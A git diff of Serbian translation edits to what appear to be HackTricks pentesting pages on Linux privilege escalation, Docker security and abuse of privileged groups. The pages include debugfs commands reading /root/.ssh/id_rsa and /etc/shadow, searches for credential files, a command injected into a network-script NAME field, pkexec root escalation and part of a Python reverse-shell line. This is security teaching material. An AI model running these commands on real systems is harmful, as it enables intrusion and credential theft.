||||
Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte)
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
@ -1256,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_istorija, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke
|
||||
### \*\_istorija, .sudo_as_admin_uspešno, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
@ -1283,7 +1287,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Poznate datoteke koje sadrže lozinke
|
||||
|
||||
Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), pretražuje **several possible files that could contain passwords**.\
|
||||
**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje velikog broja lozinki sa lokalnog računara za Windows, Linux i Mac.
|
||||
**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje mnogih lozinki sačuvanih na lokalnom računaru za Windows, Linux i Mac.
|
||||
|
||||
### Logovi
|
||||
|
||||
@ -1323,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate eksploatacija
|
||||
|
||||
Ranljivost u `logrotate` omogućava korisnicima sa **pravima pisanja** na log fajl ili njegove roditeljske direktorijume da potencijalno dobiju eskalirane privilegije. To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova.
|
||||
Ranljivost u `logrotate` omogućava korisnicima sa **pravima pisanja** na log fajl ili njegove roditeljske direktorijume da potencijalno dobiju povišene privilegije. To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova.
|
||||
|
||||
> [!NOTE]
|
||||
> Ova ranljivost pogađa `logrotate` verziju `3.18.0` i starije
|
||||
@ -1332,7 +1336,7 @@ Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tec
|
||||
|
||||
Možete iskoristiti ovu ranljivost sa [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete eskalirati privilegije zamenom logova simboličkim linkovima.
|
||||
Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete povećati privilegije zamenom logova simboličkim linkovima.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1350,13 +1354,13 @@ NAME=Network /bin/id
|
||||
ONBOOT=yes
|
||||
DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd, i rc.d**
|
||||
### **init, init.d, systemd i rc.d**
|
||||
|
||||
Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima** na Linuxu. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
|
||||
Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
|
||||
|
||||
S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u.
|
||||
|
||||
**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimke stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
|
||||
**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimci stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
|
||||
|
||||
## Ostali trikovi
|
||||
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Osnovna sigurnost Docker engine-a**
|
||||
## **Osnovna sigurnost Docker Engine-a**
|
||||
|
||||
**Docker engine** koristi **Namespaces** i **Cgroups** iz Linux kernela za izolaciju kontejnera, pružajući osnovni sloj sigurnosti. Dodatna zaštita se obezbeđuje kroz **Capabilities dropping**, **Seccomp** i **SELinux/AppArmor**, poboljšavajući izolaciju kontejnera. **Auth plugin** može dodatno ograničiti korisničke akcije.
|
||||
|
||||

|
||||
|
||||
### Siguran pristup Docker engine-u
|
||||
### Siguran pristup Docker Engine-u
|
||||
|
||||
Docker engine može biti dostupan lokalno putem Unix soketa ili daljinski koristeći HTTP. Za daljinski pristup, neophodno je koristiti HTTPS i **TLS** kako bi se obezbedila poverljivost, integritet i autentifikacija.
|
||||
Docker engine može se pristupiti lokalno putem Unix soketa ili daljinski koristeći HTTP. Za daljinski pristup, neophodno je koristiti HTTPS i **TLS** kako bi se obezbedila poverljivost, integritet i autentifikacija.
|
||||
|
||||
Docker engine, po defaultu, sluša na Unix soketu na `unix:///var/run/docker.sock`. Na Ubuntu sistemima, opcije pokretanja Dockera su definisane u `/etc/default/docker`. Da biste omogućili daljinski pristup Docker API-ju i klijentu, izložite Docker demon preko HTTP soketa dodavanjem sledećih podešavanja:
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ Slike kontejnera mogu biti smeštene u privatnim ili javnim repozitorijumima. Do
|
||||
|
||||
- [**Docker Hub**](https://hub.docker.com): Javni registar usluga od Docker-a.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): Open-source projekat koji omogućava korisnicima da hostuju svoj registar.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Docker-ovog registra, sa autentifikacijom korisnika zasnovanom na rolama i integracijom sa LDAP servisima.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Docker-ovog registra, koja sadrži autentifikaciju korisnika zasnovanu na rolama i integraciju sa LDAP servisima.
|
||||
|
||||
### Skener slika
|
||||
|
||||
@ -96,7 +96,7 @@ U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od s
|
||||
|
||||
**Namespaces**
|
||||
|
||||
- **Svrha**: Osiguranje izolacije resursa kao što su procesi, mreža i fajl sistemi. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od hosta i drugih kontejnera.
|
||||
- **Svrha**: Osiguranje izolacije resursa kao što su procesi, mreža i fajl sistemi. Posebno u Docker-u, namespaces drže procese kontejnera odvojenim od hosta i drugih kontejnera.
|
||||
- **Korišćenje `unshare`**: Komanda `unshare` (ili osnovni syscall) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, dok Kubernetes to ne blokira inherentno, Docker to čini.
|
||||
- **Ograničenje**: Kreiranje novih namespaces ne omogućava procesu da se vrati na podrazumevane namespaces hosta. Da bi se penetriralo u namespaces hosta, obično bi bilo potrebno pristupiti hostovom `/proc` direktorijumu, koristeći `nsenter` za ulazak.
|
||||
|
||||
@ -117,7 +117,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||
**Seccomp**
|
||||
|
||||
Omogućeno je po defaultu u Dockeru. Pomaže da se **dodatno ograniče syscalls** koje proces može pozvati.\
|
||||
**Default Docker Seccomp profil** može se naći na [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
**Default Docker Seccomp profil** može se pronaći na [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
@ -129,7 +129,7 @@ Ovo će omogućiti smanjenje sposobnosti, syscalls, pristupa datotekama i folder
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** su funkcija Linux kernela koja **particionira kernel resurse** tako da jedan skup **procesa** **vidi** jedan skup **resursa** dok **drugi** skup **procesa** vidi **drugačiji** skup resursa. Funkcija radi tako što ima isti namespace za skup resursa i procesa, ali ti namespaces se odnose na različite resurse. Resursi mogu postojati u više prostora.
|
||||
**Namespaces** su funkcija Linux kernela koja **particionira kernel resurse** tako da jedan skup **procesa** **vidi** jedan skup **resursa** dok **drugi** skup **procesa** vidi **drugačiji** skup resursa. Funkcija radi tako što ima isti namespace za skup resursa i procesa, ali ti namespace-ovi se odnose na različite resurse. Resursi mogu postojati u više prostora.
|
||||
|
||||
Docker koristi sledeće Linux kernel Namespaces za postizanje izolacije kontejnera:
|
||||
|
||||
@ -148,7 +148,7 @@ namespaces/
|
||||
### cgroups
|
||||
|
||||
Funkcija Linux kernela **cgroups** pruža mogućnost da **ograniči resurse kao što su cpu, memorija, io, propusnost mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za specifični kontejner.\
|
||||
Sledeći je kontejner kreiran sa memorijom korisničkog prostora ograničenom na 500m, memorijom kernela ograničenom na 50m, deljenjem cpu na 512, blkioweight na 400. Deljenje CPU je odnos koji kontroliše korišćenje CPU kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto deljenje CPU od 1024, svaki kontejner može uzeti do 33% CPU u slučaju sukoba resursa CPU. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000.
|
||||
Sledeći je kontejner kreiran sa memorijom korisničkog prostora ograničenom na 500m, memorijom kernela ograničenom na 50m, deljenjem cpu na 512, blkioweight na 400. Deljenje CPU je odnos koji kontroliše korišćenje CPU-a kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto deljenje CPU od 1024, svaki kontejner može uzeti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
@ -286,11 +286,11 @@ Da biste iskoristili BuildKit, može se aktivirati na tri načina:
|
||||
2. Prefiksiranjem komandi: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Omogućavanjem po defaultu u Docker konfiguraciji: `{ "features": { "buildkit": true } }`, nakon čega sledi restart Dockera.
|
||||
|
||||
BuildKit omogućava korišćenje tajni u vreme izgradnje sa opcijom `--secret`, osiguravajući da ove tajne nisu uključene u keš izgradnje slike ili u finalnu sliku, koristeći komandu kao što je:
|
||||
BuildKit omogućava korišćenje tajni u vreme izgradnje sa opcijom `--secret`, osiguravajući da ove tajne nisu uključene u keš izgradnje slike ili u konačnu sliku, koristeći komandu kao što je:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Za tajne potrebne u pokrenutom kontejneru, **Docker Compose i Kubernetes** nude robusna rešenja. Docker Compose koristi `secrets` ključ u definiciji servisa za specificiranje tajnih fajlova, kao što je prikazano u `docker-compose.yml` primeru:
|
||||
Za tajne potrebne u aktivnom kontejneru, **Docker Compose i Kubernetes** nude robusna rešenja. Docker Compose koristi `secrets` ključ u definiciji servisa za specificiranje tajnih fajlova, kao što je prikazano u `docker-compose.yml` primeru:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
@ -311,28 +311,32 @@ U Kubernetes okruženjima, tajne su nativno podržane i mogu se dodatno upravlja
|
||||
|
||||
**gVisor** je aplikacioni kernel, napisan u Go, koji implementira značajan deo Linux sistemske površine. Uključuje [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime pod nazivom `runsc` koji pruža **granicu izolacije između aplikacije i host kernela**. `runsc` runtime se integriše sa Docker-om i Kubernetes-om, što olakšava pokretanje sandboxed kontejnera.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog kontejnerskog runtime-a sa laganim virtuelnim mašinama koje se ponašaju i performiraju kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja koristeći tehnologiju hardverske virtualizacije** kao drugu liniju odbrane.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Saveti za rezime
|
||||
### Sažetak Saveta
|
||||
|
||||
- **Ne koristite `--privileged` flag ili montirajte** [**Docker socket unutar kontejnera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker socket omogućava pokretanje kontejnera, tako da je to lak način da preuzmete potpunu kontrolu nad hostom, na primer, pokretanjem drugog kontejnera sa `--privileged` flag-om.
|
||||
- **Ne pokrećite kao root unutar kontejnera. Koristite** [**drugog korisnika**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **i** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Root u kontejneru je isti kao na hostu osim ako nije premapiran sa user namespaces. Samo je blago ograničen, prvenstveno, Linux namespaces, sposobnostima i cgroups.
|
||||
- [**Uklonite sve sposobnosti**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i omogućite samo one koje su potrebne** (`--cap-add=...`). Mnoge radne opterećenja ne zahtevaju nikakve sposobnosti i njihovo dodavanje povećava opseg potencijalnog napada.
|
||||
- [**Koristite opciju bez novih privilegija**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) kako biste sprečili procese da dobiju više privilegija, na primer kroz suid binarne datoteke.
|
||||
- [**Uklonite sve sposobnosti**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i omogućite samo one koje su potrebne** (`--cap-add=...`). Mnogim radnim opterećenjima nisu potrebne sposobnosti i njihovo dodavanje povećava opseg potencijalnog napada.
|
||||
- [**Koristite opciju bez novih privilegija**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) da sprečite procese da dobiju više privilegija, na primer kroz suid binarne datoteke.
|
||||
- [**Ograničite resurse dostupne kontejneru**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ograničenja resursa mogu zaštititi mašinu od napada uskraćivanja usluga.
|
||||
- **Prilagodite** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** profile kako biste ograničili radnje i syscalls dostupne kontejneru na minimum potreban.
|
||||
- **Prilagodite** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** profile da ograničite radnje i syscalls dostupne za kontejner na minimum potreban.
|
||||
- **Koristite** [**službene docker slike**](https://docs.docker.com/docker-hub/official_images/) **i zahtevajte potpise** ili izgradite svoje na osnovu njih. Ne nasleđujte ili koristite [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) slike. Takođe, čuvajte root ključeve, lozinke na sigurnom mestu. Docker planira da upravlja ključevima sa UCP.
|
||||
- **Redovno** **ponovo izgradite** svoje slike kako biste **primenili bezbednosne zakrpe na host i slike.**
|
||||
- **Redovno** **ponovo izgradite** svoje slike da **primenite bezbednosne zakrpe na host i slike.**
|
||||
- Pametno upravljajte svojim **tajnama** kako bi napadaču bilo teško da im pristupi.
|
||||
- Ako **izlažete docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera.
|
||||
- U vašem Dockerfile-u, **favorizujte COPY umesto ADD**. ADD automatski ekstraktuje zipovane datoteke i može kopirati datoteke sa URL-ova. COPY nema te mogućnosti. Kada god je to moguće, izbegavajte korišćenje ADD kako ne biste bili podložni napadima putem udaljenih URL-ova i zip datoteka.
|
||||
- Imate **odvojene kontejnere za svaku mikro** uslugu.
|
||||
- Imate **odvojene kontejnere za svaku mikro-s**lužbu.
|
||||
- **Ne stavljajte ssh** unutar kontejnera, “docker exec” se može koristiti za ssh u kontejner.
|
||||
- Imate **manje** slike **kontejnera**.
|
||||
|
||||
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
## Ojačavanje Dockera
|
||||
|
||||
- Alat [**docker-bench-security**](https://github.com/docker/docker-bench-security) je skripta koja proverava desetine uobičajenih najboljih praksi oko implementacije Docker kontejnera u produkciji. Testovi su svi automatizovani i zasnovani su na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Morate pokrenuti alat sa hosta koji pokreće docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README-u:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
Morate pokrenuti alat sa hosta koji pokreće docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Interesting Groups - Linux Privesc
|
||||
# Zanimljive Grupe - Linux Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sudo/Admin Groups
|
||||
## Sudo/Admin Grupe
|
||||
|
||||
### **PE - Method 1**
|
||||
### **PE - Metod 1**
|
||||
|
||||
**Ponekad**, **po defaultu (ili zato što neki softver to zahteva)** unutar **/etc/sudoers** datoteke možete pronaći neke od ovih linija:
|
||||
**Ponekad**, **po defaultu (ili zato što neki softver to zahteva)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -26,7 +26,7 @@ Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Ako otkrijete da je binarni fajl **pkexec SUID binarni fajl** i da pripadate grupi **sudo** ili **admin**, verovatno možete izvršavati binarne fajlove kao sudo koristeći `pkexec`.\
|
||||
Ako otkrijete da je binarni fajl **pkexec SUID binarni fajl** i da pripadate grupi **sudo** ili **admin**, verovatno biste mogli da izvršavate binarne fajlove kao sudo koristeći `pkexec`.\
|
||||
To je zato što su obično to grupe unutar **polkit politike**. Ova politika u suštini identifikuje koje grupe mogu koristiti `pkexec`. Proverite to sa:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
@ -72,13 +72,13 @@ Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Тако, прочитајте датотеку и покушајте да **разбијете неке хешеве**.
|
||||
Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**.
|
||||
|
||||
## Група особља
|
||||
|
||||
**staff**: Омогућава корисницима да додају локалне модификације систему (`/usr/local`) без потребе за root привилегијама (имајте на уму да су извршни фајлови у `/usr/local/bin` у PATH променљивој сваког корисника, и могу "преписати" извршне фајлове у `/bin` и `/usr/bin` са истим именом). Упоредите са групом "adm", која је више повезана са мониторингом/безбедношћу. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Омогућава корисницима да додају локалне модификације систему (`/usr/local`) без потребе за root привилегијама (имајте на уму да су извршне датотеке у `/usr/local/bin` у PATH променљивој сваког корисника, и могу "преписати" извршне датотеке у `/bin` и `/usr/bin` са истим именом). Упоредите са групом "adm", која је више повезана са мониторингом/безбедношћу. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
У дебијан дистрибуцијама, `$PATH` променљива показује да ће `/usr/local/` бити покренут као највиша приоритет, без обзира да ли сте привилеговани корисник или не.
|
||||
У дебијан дистрибуцијама, променљива `$PATH` показује да ће `/usr/local/` бити покренута као највиша приоритетна, без обзира да ли сте привилеговани корисник или не.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
@ -141,7 +141,7 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Napomena: korišćenjem debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi:
|
||||
Napomena da pomoću debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
@ -167,7 +167,7 @@ Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **`
|
||||
|
||||
.png>)
|
||||
|
||||
Zatim promenite Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika (i odaberite onaj koji bolje prikazuje ekran):
|
||||
Zatim promenite Širinu i Visinu na one koje se koriste na ekranu i proverite različite Tipove slika (i odaberite onaj koji bolje prikazuje ekran):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -199,11 +199,15 @@ Na kraju, ako vam se ne sviđaju neki od prethodnih predloga, ili ne rade iz nek
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Ako imate dozvole za pisanje preko docker socket-a, pročitajte [**ovaj post o tome kako eskalirati privilegije zloupotrebom docker socket-a**](../#writable-docker-socket)**.**
|
||||
Ako imate dozvole za pisanje preko docker socket-a pročitajte [**ovaj post o tome kako eskalirati privilegije zloupotrebom docker socket-a**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## lxc/lxd Grupa
|
||||
|
||||
@ -218,7 +222,7 @@ Stoga, ako ste kompromitovali korisnika unutar ove grupe, definitivno biste treb
|
||||
|
||||
## Auth grupa
|
||||
|
||||
Unutar OpenBSD, **auth** grupa obično može da piše u foldere _**/etc/skey**_ i _**/var/db/yubikey**_ ako se koriste.\
|
||||
Ove dozvole se mogu zloupotrebiti sa sledećim eksploatom da bi se **eskalirale privilegije** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
Unutar OpenBSD **auth** grupa obično može da piše u foldere _**/etc/skey**_ i _**/var/db/yubikey**_ ako se koriste.\
|
||||
Ove dozvole se mogu zloupotrebiti sa sledećim exploit-om da bi se **eskalirale privilegije** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Sudo/Admin Grupe
|
||||
|
||||
## **PE - Metod 1**
|
||||
|
||||
**Ponekad**, **po defaultu \(ili zato što neka softverska rešenja to zahtevaju\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija:
|
||||
**Ponekad**, **po defaultu \(ili zato što neki softver to zahteva\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -30,7 +29,7 @@ Proverite sadržaj:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linux distribucijama mogu **pojaviti** neke od grupa **sudo ili admin**.
|
||||
Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linux sistemima mogu **pojaviti** neke od grupa **sudo ili admin**.
|
||||
|
||||
Da **postanete root možete izvršiti**:
|
||||
```bash
|
||||
@ -71,13 +70,13 @@ Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Dakle, pročitajte datoteku i pokušajte da **provalite neke hash-e**.
|
||||
Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**.
|
||||
|
||||
# Disk Grupa
|
||||
# Диск Група
|
||||
|
||||
Ova privilegija je gotovo **ekvivalentna root pristupu** jer možete pristupiti svim podacima unutar mašine.
|
||||
Ова привилегија је скоро **еквивалентна root приступу** јер можете приступити свим подацима унутар машине.
|
||||
|
||||
Datoteke: `/dev/sd[a-z][1-9]`
|
||||
Фајлови: `/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
@ -127,13 +126,16 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
|
||||
Možete montirati root datotečni sistem host mašine na volumen instance, tako da kada se instanca pokrene, odmah učitava `chroot` u taj volumen. Ovo vam efektivno daje root pristup na mašini.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Grupa
|
||||
|
||||
[lxc - Eskalacija privilegija](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
